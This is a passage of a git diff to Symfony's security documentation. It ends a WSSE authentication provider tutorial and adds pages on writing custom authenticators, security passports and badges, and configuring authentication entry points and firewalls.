-The authentication provider will do the verification of the ``WsseUserToken``.
-Namely, the provider will verify the ``Created`` header value is valid within
-five minutes, the ``Nonce`` header value is unique within five minutes, and
-the ``PasswordDigest`` header value matches with the user's password::
-
-    // src/Security/Authentication/Provider/WsseProvider.php
-    namespace App\Security\Authentication\Provider;
-
-    use App\Security\Authentication\Token\WsseUserToken;
-    use Psr\Cache\CacheItemPoolInterface;
-    use Symfony\Component\Security\Core\Authentication\Provider\AuthenticationProviderInterface;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-
-    class WsseProvider implements AuthenticationProviderInterface
-    {
-        private $userProvider;
-        private $cachePool;
-
-        public function __construct(UserProviderInterface $userProvider, CacheItemPoolInterface $cachePool)
-        {
-            $this->userProvider = $userProvider;
-            $this->cachePool = $cachePool;
-        }
-
-        public function authenticate(TokenInterface $token)
-        {
-            $user = $this->userProvider->loadUserByUsername($token->getUsername());
-
-            if ($user && $this->validateDigest($token->digest, $token->nonce, $token->created, $user->getPassword())) {
-                $authenticatedToken = new WsseUserToken($user->getRoles());
-                $authenticatedToken->setUser($user);
-
-                return $authenticatedToken;
-            }
-
-            throw new AuthenticationException('The WSSE authentication failed.');
-        }
-
-        /**
-         * This function is specific to Wsse authentication and is only used to help this example
-         *
-         * For more information specific to the logic here, see
-         * https://github.com/symfony/symfony-docs/pull/3134#issuecomment-27699129
-         */
-        protected function validateDigest($digest, $nonce, $created, $secret)
-        {
-            // Check created time is not in the future
-            if (strtotime($created) > time()) {
-                return false;
-            }
-
-            // Expire timestamp after 5 minutes
-            if (time() - strtotime($created) > 300) {
-                return false;
-            }
-
-            // Try to fetch the cache item from pool
-            $cacheItem = $this->cachePool->getItem(md5($nonce));
-
-            // Validate that the nonce is *not* in cache
-            // if it is, this could be a replay attack
-            if ($cacheItem->isHit()) {
-                // In a real world application you should throw a custom
-                // exception extending the AuthenticationException
-                throw new AuthenticationException('Previously used nonce detected');
-            }
-
-            // Store the item in cache for 5 minutes
-            $cacheItem->set(null)->expiresAfter(300);
-            $this->cachePool->save($cacheItem);
-
-            // Validate Secret
-            $expected = base64_encode(sha1(base64_decode($nonce).$created.$secret, true));
-
-            return hash_equals($expected, $digest);
-        }
-
-        public function supports(TokenInterface $token)
-        {
-            return $token instanceof WsseUserToken;
-        }
-    }
-
-.. note::
-
-    The :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface`
-    requires an ``authenticate()`` method on the user token, and a ``supports()``
-    method, which tells the authentication manager whether or not to use this
-    provider for the given token. In the case of multiple providers, the
-    authentication manager will then move to the next provider in the list.
-
-The Factory
------------
-
-You have created a custom token, custom listener, and custom provider. Now
-you need to tie them all together. How do you make a unique provider available
-for every firewall? The answer is by using a *factory*. A factory
-is where you hook into the Security component, telling it the name of your
-provider and any configuration options available for it. First, you must
-create a class which implements
-:class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\SecurityFactoryInterface`::
-
-    // src/DependencyInjection/Security/Factory/WsseFactory.php
-    namespace App\DependencyInjection\Security\Factory;
-
-    use App\Security\Authentication\Provider\WsseProvider;
-    use App\Security\Firewall\WsseListener;
-    use Symfony\Bundle\SecurityBundle\DependencyInjection\Security\Factory\SecurityFactoryInterface;
-    use Symfony\Component\Config\Definition\Builder\NodeDefinition;
-    use Symfony\Component\DependencyInjection\ChildDefinition;
-    use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\DependencyInjection\Reference;
-
-    class WsseFactory implements SecurityFactoryInterface
-    {
-        public function create(ContainerBuilder $container, string $id, array $config, string $userProvider, ?string $defaultEntryPoint)
-        {
-            $providerId = 'security.authentication.provider.wsse.'.$id;
-            $container
-                ->setDefinition($providerId, new ChildDefinition(WsseProvider::class))
-                ->setArgument(0, new Reference($userProvider))
-            ;
-
-            $listenerId = 'security.authentication.listener.wsse.'.$id;
-            $container->setDefinition($listenerId, new ChildDefinition(WsseListener::class));
-
-            return [$providerId, $listenerId, $defaultEntryPoint];
-        }
-
-        public function getPosition()
-        {
-            return 'pre_auth';
-        }
-
-        public function getKey()
-        {
-            return 'wsse';
-        }
-
-        public function addConfiguration(NodeDefinition $node)
-        {
-        }
-    }
-
-The :class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\SecurityFactoryInterface`
-requires the following methods:
-
-``create()``
-    Method which adds the listener and authentication provider
-    to the DI container for the appropriate security context.
-
-``getPosition()``
-    Returns when the provider should be called. This can be one of ``pre_auth``,
-    ``form``, ``http`` or ``remember_me``.
-
-``getKey()``
-    Method which defines the configuration key used to reference
-    the provider in the firewall configuration.
-
-``addConfiguration()``
-    Method which is used to define the configuration
-    options underneath the configuration key in your security configuration.
-    Setting configuration options are explained later in this article.
-
-.. note::
-
-    A class not used in this example,
-    :class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\AbstractFactory`,
-    is a very useful base class which provides commonly needed functionality
-    for security factories. It may be useful when defining an authentication
-    provider of a different type.
-
-Now that you have created a factory class, the ``wsse`` key can be used as
-a firewall in your security configuration.
-
-.. note::
-
-    You may be wondering "why do you need a special factory class to add listeners
-    and providers to the dependency injection container?". This is a very
-    good question. The reason is you can use your firewall multiple times,
-    to secure multiple parts of your application. Because of this, each
-    time your firewall is used, a new service is created in the DI container.
-    The factory is what creates these new services.
-
-Configuration
--------------
-
-It's time to see your authentication provider in action. You will need to
-do a few things in order to make this work. The first thing is to add the
-services above to the DI container. Your factory class above makes reference
-to service ids that may not exist yet: ``App\Security\Authentication\Provider\WsseProvider`` and
-``App\Security\Firewall\WsseListener``. It's time to define those services.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            App\Security\Authentication\Provider\WsseProvider:
-                arguments:
-                    $cachePool: '@cache.app'
-
-            App\Security\Firewall\WsseListener:
-                arguments: ['@security.token_storage', '@security.authentication.manager']
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="App\Security\Authentication\Provider\WsseProvider">
-                    <argument key="$cachePool" type="service" id="cache.app"/>
-                </service>
-
-                <service id="App\Security\Firewall\WsseListener">
-                    <argument type="service" id="security.token_storage"/>
-                    <argument type="service" id="security.authentication.manager"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-         // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\Security\Authentication\Provider\WsseProvider;
-        use App\Security\Firewall\WsseListener;
-        use Symfony\Component\DependencyInjection\Reference;
-
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
-
-            $services->set(WsseProvider::class)
-                ->arg('$cachePool', service('cache.app'))
-            ;
-
-            $services->set(WsseListener::class)
-                ->args([
-                    // In versions earlier to Symfony 5.1 the service() function was called ref()
-                    service('security.token_storage'),
-                    service('security.authentication.manager'),
-                ])
-            ;
-        };
-
-Now that your services are defined, tell your security context about your
-factory in the kernel::
-
-    // src/Kernel.php
-    namespace App;
-
-    use App\DependencyInjection\Security\Factory\WsseFactory;
-    // ...
-
-    class Kernel extends BaseKernel
-    {
-        public function build(ContainerBuilder $container)
-        {
-            $extension = $container->getExtension('security');
-            $extension->addSecurityListenerFactory(new WsseFactory());
-        }
-
-        // ...
-    }
-
-You are finished! You can now define parts of your app as under WSSE protection.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                wsse_secured:
-                    pattern:   ^/api/
-                    stateless: true
-                    wsse:      true
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall
-                    name="wsse_secured"
-                    pattern="^/api/"
-                    stateless="true"
-                    wsse="true"
-                />
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'wsse_secured' => [
-                    'pattern'   => '^/api/',
-                    'stateless' => true,
-                    'wsse'      => true,
-                ],
-            ],
-        ]);
-
-Congratulations! You have written your very own custom security authentication
-provider!
-
-A little Extra
---------------
-
-How about making your WSSE authentication provider a bit more exciting? The
-possibilities are endless. Why don't you start by adding some sparkle
-to that shine?
-
-Configuration
-~~~~~~~~~~~~~
-
-You can add custom options under the ``wsse`` key in your security configuration.
-For instance, the time allowed before expiring the ``Created`` header item,
-by default, is 5 minutes. Make this configurable, so different firewalls
-can have different timeout lengths.
-
-You will first need to edit ``WsseFactory`` and define the new option in
-the ``addConfiguration()`` method::
-
-    // src/DependencyInjection/Security/Factory/WsseFactory.php
-    namespace App\DependencyInjection\Security\Factory;
-
-    // ...
-
-    class WsseFactory implements SecurityFactoryInterface
-    {
-        // ...
-
-        public function addConfiguration(NodeDefinition $node)
-        {
-            $node
-                ->children()
-                    ->scalarNode('lifetime')->defaultValue(300)
-                ->end();
-        }
-    }
-
-Now, in the ``create()`` method of the factory, the ``$config`` argument will
-contain a ``lifetime`` key, set to 5 minutes (300 seconds) unless otherwise
-set in the configuration. Pass this argument to your authentication provider
-in order to put it to use::
-
-    // src/DependencyInjection/Security/Factory/WsseFactory.php
-    namespace App\DependencyInjection\Security\Factory;
-    
-    use App\Security\Authentication\Provider\WsseProvider;
-
-    class WsseFactory implements SecurityFactoryInterface
-    {
-        public function create(ContainerBuilder $container, string $id, array $config, string $userProvider, ?string $defaultEntryPoint)
-        {
-            $providerId = 'security.authentication.provider.wsse.'.$id;
-            $container
-                ->setDefinition($providerId, new ChildDefinition(WsseProvider::class))
-                ->setArgument(0, new Reference($userProvider))
-                ->setArgument(2, $config['lifetime']);
-            // ...
-        }
-
-        // ...
-    }
-
-.. note::
-
-    The ``WsseProvider`` class will also now need to accept a third constructor argument -
-    the lifetime - which it should use instead of the hard-coded 300 seconds. This
-    step is not shown here.
-
-The lifetime of each WSSE request is now configurable, and can be
-set to any desirable value per firewall.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                wsse_secured:
-                    pattern:   ^/api/
-                    stateless: true
-                    wsse:      { lifetime: 30 }
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="wsse_secured" pattern="^/api/" stateless="true">
-                    <wsse lifetime="30"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'wsse_secured' => [
-                    'pattern'   => '^/api/',
-                    'stateless' => true,
-                    'wsse'      => [
-                        'lifetime' => 30,
-                    ],
-                ],
-            ],
-        ]);
-
-The rest is up to you! Any relevant configuration items can be defined
-in the factory and consumed or passed to the other classes in the container.
-
-
-.. _`WSSE`: https://www.xml.com/pub/a/2003/12/17/dive.html
-.. _`nonce`: https://en.wikipedia.org/wiki/Cryptographic_nonce
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
new file mode 100644
index 00000000000..3f4809e23d0
--- /dev/null
+++ b/security/custom_authenticator.rst
@@ -0,0 +1,380 @@
+How to Write a Custom Authenticator
+===================================
+
+Symfony comes with :ref:`many authenticators <security-authenticators>` and
+third party bundles also implement more complex cases like JWT and oAuth
+2.0. However, sometimes you need to implement a custom authentication
+mechanism that doesn't exists yet or you need to customize one. In such
+cases, you must create and use your own authenticator.
+
+Authenticators should implement the
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.
+You can also extend
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractAuthenticator`,
+which has a default implementation for the ``createAuthenticatedToken()``
+method that fits most use-cases::
+
+    // src/Security/ApiKeyAuthenticator.php
+    namespace App\Security;
+
+    use Symfony\Component\HttpFoundation\JsonResponse;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Exception\AuthenticationException;
+    use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
+    use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
+    use Symfony\Component\Security\Http\Authenticator\Passport\SelfValidatingPassport;
+
+    class ApiKeyAuthenticator extends AbstractAuthenticator
+    {
+        /**
+         * Called on every request to decide if this authenticator should be
+         * used for the request. Returning `false` will cause this authenticator
+         * to be skipped.
+         */
+        public function supports(Request $request): ?bool
+        {
+            return $request->headers->has('X-AUTH-TOKEN');
+        }
+
+        public function authenticate(Request $request): Passport
+        {
+            $apiToken = $request->headers->get('X-AUTH-TOKEN');
+            if (null === $apiToken) {
+                // The token header was empty, authentication fails with HTTP Status
+                // Code 401 "Unauthorized"
+                throw new CustomUserMessageAuthenticationException('No API token provided');
+            }
+
+            return new SelfValidatingPassport(new UserBadge($apiToken));
+        }
+
+        public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response
+        {
+            // on success, let the request continue
+            return null;
+        }
+
+        public function onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response
+        {
+            $data = [
+                // you may want to customize or obfuscate the message first
+                'message' => strtr($exception->getMessageKey(), $exception->getMessageData())
+
+                // or to translate this message
+                // $this->translator->trans($exception->getMessageKey(), $exception->getMessageData())
+            ];
+
+            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
+        }
+    }
+
+.. tip::
+
+    If your custom authenticator is a login form, you can extend from the
+    :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator`
+    class instead to make your job easier.
+
+The authenticator can be enabled using the ``custom_authenticators`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            enable_authenticator_manager: true
+
+            # ...
+            firewalls:
+                main:
+                    custom_authenticators:
+                        - App\Security\ApiKeyAuthenticator
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config enable-authenticator-manager="true">
+                <!-- ... -->
+
+                <firewall name="main">
+                    <custom-authenticator>App\Security\ApiKeyAuthenticator</custom-authenticator>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\ApiKeyAuthenticator;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+            // ....
+
+            $security->firewall('main')
+                ->customAuthenticators([ApiKeyAuthenticator::class])
+            ;
+        };
+
+.. versionadded:: 5.2
+
+    Starting with Symfony 5.2, the custom authenticator is automatically
+    registered as entry point if it implements ``AuthenticationEntryPointInterface``.
+
+    Prior to 5.2, you had to configure the entry point separately using the
+    ``entry_point`` option. Read :doc:`/security/entry_point` for more
+    information.
+
+The ``authenticate()`` method is the most important method of the
+authenticator. Its job is to extract credentials (e.g. username &
+password, or API tokens) from the ``Request`` object and transform these
+into a security
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`.
+See :ref:`security-passport` below for a detailed look into the
+authentication process.
+
+After the authentication process finished, the user is either authenticated
+or there was something wrong (e.g. incorrect password). The authenticator
+can define what happens in these cases:
+
+``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response``
+    If the user is authenticated, this method is called with the
+    authenticated ``$token``. This method can return a response (e.g.
+    redirect the user to the homepage).
+
+    If ``null`` is returned, the request continues like normal (i.e. the
+    controller matching the login route is called). This is useful for API
+    routes where each route is protected by an API key header.
+
+``onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response``
+    If an ``AuthenticationException`` is thrown during authentication, the
+    process fails and this method is called. This method can return a
+    response (e.g. to return a 401 Unauthorized response in API routes).
+
+    If ``null`` is returned, the request continues like normal. This is
+    useful for e.g. login forms, where the login controller is run again
+    with the login errors.
+
+    **Caution**: Never use ``$exception->getMessage()`` for ``AuthenticationException``
+    instances. This message might contain sensitive information that you
+    don't want to expose publicly. Instead, use ``$exception->getMessageKey()``
+    and ``$exception->getMessageData()`` like shown in the full example
+    above. Use :class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`
+    if you want to set custom error messages.
+
+.. _security-passport:
+
+Security Passports
+------------------
+
+.. versionadded:: 5.2
+
+    The ``UserBadge`` was introduced in Symfony 5.2. Prior to 5.2, the user
+    instance was provided directly to the passport.
+
+A passport is an object that contains the user that will be authenticated as
+well as other pieces of information, like whether a password should be checked
+or if "remember me" functionality should be enabled.
+
+The default
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`
+requires a user and some sort of "credentials" (e.g. a password).
+
+Use the
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\UserBadge`
+to attach the user to the passport. The ``UserBadge`` requires a user
+identifier (e.g. the username or email), which is used to load the user
+using :ref:`the user provider <security-user-providers>`::
+
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+
+    // ...
+    $passport = new Passport(new UserBadge($email), $credentials);
+
+.. note::
+
+    You can optionally pass a user loader as second argument to the
+    ``UserBadge``. This callable receives the ``$userIdentifier``
+    and must return a ``UserInterface`` object (otherwise a
+    ``UserNotFoundException`` is thrown)::
+
+        // src/Security/CustomAuthenticator.php
+        namespace App\Security;
+
+        use App\Repository\UserRepository;
+        // ...
+
+        class CustomAuthenticator extends AbstractAuthenticator
+        {
+            private $userRepository;
+
+            public function __construct(UserRepository $userRepository)
+            {
+                $this->userRepository = $userRepository;
+            }
+
+            public function authenticate(Request $request): Passport
+            {
+                // ...
+
+                return new Passport(
+                    new UserBadge($email, function ($userIdentifier) {
+                        return $this->userRepository->findOneBy(['email' => $userIdentifier]);
+                    }),
+                    $credentials
+                );
+            }
+        }
+
+The following credential classes are supported by default:
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\PasswordCredentials`
+    This requires a plaintext ``$password``, which is validated using the
+    :ref:`password encoder configured for the user <security-encoding-user-password>`::
+
+        use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\PasswordCredentials;
+
+        // ...
+        return new Passport(new UserBadge($email), new PasswordCredentials($plaintextPassword));
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\CustomCredentials`
+    Allows a custom closure to check credentials::
+
+        use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\CustomCredentials;
+
+        // ...
+        return new Passport(new UserBadge($email), new CustomCredentials(
+            // If this function returns anything else than `true`, the credentials
+            // are marked as invalid.
+            // The $credentials parameter is equal to the next argument of this class
+            function ($credentials, UserInterface $user) {
+                return $user->getApiToken() === $credentials;
+            },
+
+            // The custom credentials
+            $apiToken
+        ));
+
+
+Self Validating Passport
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you don't need any credentials to be checked (e.g. when using API
+tokens), you can use the
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`.
+This class only requires a ``UserBadge`` object and optionally `Passport Badges`_.
+
+Passport Badges
+---------------
+
+The ``Passport`` also optionally allows you to add *security badges*.
+Badges attach more data to the passport (to extend security). By default,
+the following badges are supported:
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\RememberMeBadge`
+    When this badge is added to the passport, the authenticator indicates
+    remember me is supported. Whether remember me is actually used depends
+    on special ``remember_me`` configuration. Read
+    :doc:`/security/remember_me` for more information.
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PasswordUpgradeBadge`
+    This is used to automatically upgrade the password to a new hash upon
+    successful login (if needed). This badge requires the plaintext password and a
+    password upgrader (e.g. the user repository). See :ref:`security-password-migration`.
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\CsrfTokenBadge`
+    Automatically validates CSRF tokens for this authenticator during
+    authentication. The constructor requires a token ID (unique per form)
+    and CSRF token (unique per request). See :doc:`/security/csrf`.
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PreAuthenticatedUserBadge`
+    Indicates that this user was pre-authenticated (i.e. before Symfony was
+    initiated). This skips the
+    :doc:`pre-authentication user checker </security/user_checkers>`.
+
+.. versionadded:: 5.2
+
+    Since 5.2, the ``PasswordUpgradeBadge`` is automatically added to
+    the passport if the passport has ``PasswordCredentials``.
+
+For instance, if you want to add CSRF to your custom authenticator, you
+would initialize the passport like this::
+
+    // src/Service/LoginAuthenticator.php
+    namespace App\Service;
+
+    // ...
+    use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
+
+    class LoginAuthenticator extends AbstractAuthenticator
+    {
+        public function authenticate(Request $request): Passport
+        {
+            $password = $request->request->get('password');
+            $username = $request->request->get('username');
+            $csrfToken = $request->request->get('csrf_token');
+
+            // ... validate no parameter is empty
+
+            return new Passport(
+                new UserBadge($username),
+                new PasswordCredentials($password),
+                [new CsrfTokenBadge('login', $csrfToken)]
+            );
+        }
+    }
+
+.. tip::
+
+    Besides badges, passports can define attributes, which allows the
+    ``authenticate()`` method to store arbitrary information in the
+    passport to access it from other authenticator methods (e.g.
+    ``createAuthenticatedToken()``)::
+
+        // ...
+        use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+
+        class LoginAuthenticator extends AbstractAuthenticator
+        {
+            // ...
+
+            public function authenticate(Request $request): Passport
+            {
+                // ... process the request
+
+                $passport = new SelfValidatingPassport(new UserBadge($username), []);
+
+                // set a custom attribute (e.g. scope)
+                $passport->setAttribute('scope', $oauthScope);
+
+                return $passport;
+            }
+
+            public function createToken(Passport $passport, string $firewallName): TokenInterface
+            {
+                // read the attribute value
+                return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));
+            }
+        }
+
+.. versionadded:: 5.2
+
+    Passport attributes were introduced in Symfony 5.2.
diff --git a/security/entry_point.rst b/security/entry_point.rst
new file mode 100644
index 00000000000..daee51493fa
--- /dev/null
+++ b/security/entry_point.rst
@@ -0,0 +1,174 @@
+The Entry Point: Helping Users Start Authentication
+===================================================
+
+When an unauthenticated user tries to access a protected page, Symfony
+gives them a suitable response to let them start authentication (e.g.
+redirect to a login form or show a 401 Unauthorized HTTP response for
+APIs).
+
+However sometimes, one firewall has multiple ways to authenticate (e.g.
+both a form login and a social login). In these cases, it is required to
+configure the *authentication entry point*.
+
+You can configure this using the ``entry_point`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            enable_authenticator_manager: true
+
+            # ...
+            firewalls:
+                main:
+                    # allow authentication using a form or a custom authenticator
+                    form_login: ~
+                    custom_authenticators:
+                        - App\Security\SocialConnectAuthenticator
+
+                    # configure the form authentication as the entry point for unauthenticated users
+                    entry_point: form_login
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config enable-authenticator-manager="true">
+                <!-- ... -->
+
+                <!-- entry-point: configure the form authentication as the entry
+                                  point for unauthenticated users -->
+                <firewall name="main"
+                    entry-point="form_login"
+                >
+                    <!-- allow authentication using a form or a custom authenticator -->
+                    <form-login/>
+                    <custom-authenticator>App\Security\SocialConnectAuthenticator</custom-authenticator>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+        use App\Security\SocialConnectAuthenticator;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+            // ....
+
+
+            // allow authentication using a form or HTTP basic
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall
+                ->formLogin()
+                ->customAuthenticators([SocialConnectAuthenticator::class])
+
+                // configure the form authentication as the entry point for unauthenticated users
+                ->entryPoint('form_login');
+            ;
+        };
+
+.. note::
+
+    You can also create your own authentication entry point by creating a
+    class that implements
+    :class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`.
+    You can then set ``entry_point`` to the service id (e.g.
+    ``entry_point: App\Security\CustomEntryPoint``)
+
+Multiple Authenticators with Separate Entry Points
+--------------------------------------------------
+
+However, there are use cases where you have authenticators that protect
+different parts of your application. For example, you have a login form
+that protects the main website and API end-points used by external parties
+protected by API keys.
+
+As you can only configure one entry point per firewall, the solution is to
+split the configuration into two separate firewalls:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            firewalls:
+                api:
+                    pattern: ^/api/
+                    custom_authenticators:
+                        - App\Security\ApiTokenAuthenticator
+                main:
+                    lazy: true
+                    form_login: ~
+
+            access_control:
+                - { path: '^/login', roles: PUBLIC_ACCESS }
+                - { path: '^/api', roles: ROLE_API_USER }
+                - { path: '^/', roles: ROLE_USER }
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <firewall name="api" pattern="^/api/">
+                    <custom-authenticator>App\Security\ApiTokenAuthenticator</custom-authenticator>
+                </firewall>
+
+                <firewall name="main" anonymous="true" lazy="true">
+                    <form-login/>
+                </firewall>
+
+                <rule path="^/login" role="PUBLIC_ACCESS"/>
+                <rule path="^/api" role="ROLE_API_USER"/>
+                <rule path="^/" role="ROLE_USER"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\ApiTokenAuthenticator;
+        use App\Security\LoginFormAuthenticator;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $apiFirewall = $security->firewall('api');
+            $apiFirewall
+                ->pattern('^/api')
+                ->customAuthenticators([ApiTokenAuthenticator::class])
+            ;
+
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall
+                ->lazy(true)
+                ->formLogin();
+
+            $accessControl = $security->accessControl();
+            $accessControl->path('^/login')->roles(['IS_AUTHENTICATED_ANONYMOUSLY']);
+            $accessControl->path('^/api')->roles(['ROLE_API_USER']);
+            $accessControl->path('^/')->roles(['ROLE_USER']);
+        };
diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
deleted file mode 100644
index d0813795b12..00000000000
--- a/security/experimental_authenticators.rst
+++ /dev/null
@@ -1,504 +0,0 @@
-Using the new Authenticator-based Security
-==========================================
-
-.. versionadded:: 5.1
-
-    Authenticator-based security was introduced as an
-    :doc:`experimental feature </contributing/code/experimental>` in
-    Symfony 5.1.
-
-In Symfony 5.1, a new authentication system was introduced. This system
-changes the internals of Symfony Security, to make it more extensible
-and more understandable.
-
-.. _security-enable-authenticator-manager:
-
-Enabling the System
--------------------
-
-The authenticator-based system can be enabled using the
-``enable_authenticator_manager`` setting:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
